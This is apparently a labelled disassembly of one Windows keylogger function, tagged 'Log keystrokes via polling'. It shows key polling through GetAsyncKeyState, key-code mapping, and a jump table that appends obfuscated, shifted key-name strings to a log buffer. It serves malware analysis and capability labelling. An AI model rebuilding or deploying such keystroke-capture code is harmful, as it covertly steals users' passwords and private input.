Function at 0x14000423b
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
cmp dword [rbp + 0x10], 1
je 0x140004256
cmp dword [rbp + 0x10], 2
jne 0x140004260
mov eax, 1
jmp 0x1400044ea
cmp dword [rbp + 0x10], 0x2f
jle 0x1400042a3
cmp dword [rbp + 0x10], 0x5a
jg 0x1400042a3
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
shr ax, 0xf
movzx eax, al
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x1400042a3
mov eax, dword [rbp + 0x10]
mov edx, 2
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_MapVirtualKeyA]
call rax
sub eax, 0x20
mov dword [rbp + 0x10], eax
mov eax, dword [rbp + 0x10]
sub eax, 8
cmp eax, 0x26
ja case.0x1400042d2.10
mov eax, eax
lea rdx, [rax*4]
lea rax, [0x14000fe80]
mov eax, dword [rdx + rax]
cdqe
lea rdx, [0x14000fe80]
add rax, rdx
jmp rax
lea rax, str._GFHPXUFHJb
mov rcx, rax
call fcn.140001699
mov rdx, rax
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x1400044e5
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov rdx, rax
mov rax, qword [rbp + 0x18]
add rax, rdx
mov word [rax], 0x6e5c
mov byte [rax + 2], 0
jmp 0x1400044e5
lea rax, str._XUFHJb
mov rcx, rax
call fcn.140001699
mov rdx, rax
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x1400044e5
lea rax, str._YFGb
mov rcx, rax
call fcn.140001699
mov rdx, rax
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x1400044e5
lea rax, str._XMNKYb
mov rcx, rax
call fcn.140001699
mov rdx, rax
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x1400044e5
lea rax, str._HTSYWTQb
mov rcx, rax
call fcn.140001699
mov rdx, rax
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x1400044e5
lea rax, str._JXHFUJb
mov rcx, rax
call fcn.140001699
mov rdx, rax
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x1400044e5
lea rax, str._JSIb
mov rcx, rax
call fcn.140001699
mov rdx, rax
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x1400044e5
lea rax, str._IJQJYJb
mov rcx, rax
call fcn.140001699
mov rdx, rax
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x1400044e5
lea rax, str._MTRJb
mov rcx, rax
call fcn.140001699
mov rdx, rax
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x1400044e5
lea rax, str._QJKYb
mov rcx, rax
call fcn.140001699
mov rdx, rax
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x1400044e5
lea rax, str._ZUb
mov rcx, rax
call fcn.140001699
mov rdx, rax
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x1400044e5
lea rax, str._WNLMYb
mov rcx, rax
call fcn.140001699
mov rdx, rax
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x1400044e5
lea rax, str._ITSb
mov rcx, rax
call fcn.140001699
mov rdx, rax
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x1400044e5
mov edx, dword [rbp + 0x10]
lea rax, [rbp - 0x30]
mov r9d, edx
lea r8, [0x14000fe7a]
mov edx, 0x20
mov rcx, rax
call fcn.1400014e7
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sub.msvcrt.dll_strcat
nop
mov eax, 0
add rsp, 0x50
pop rbp
ret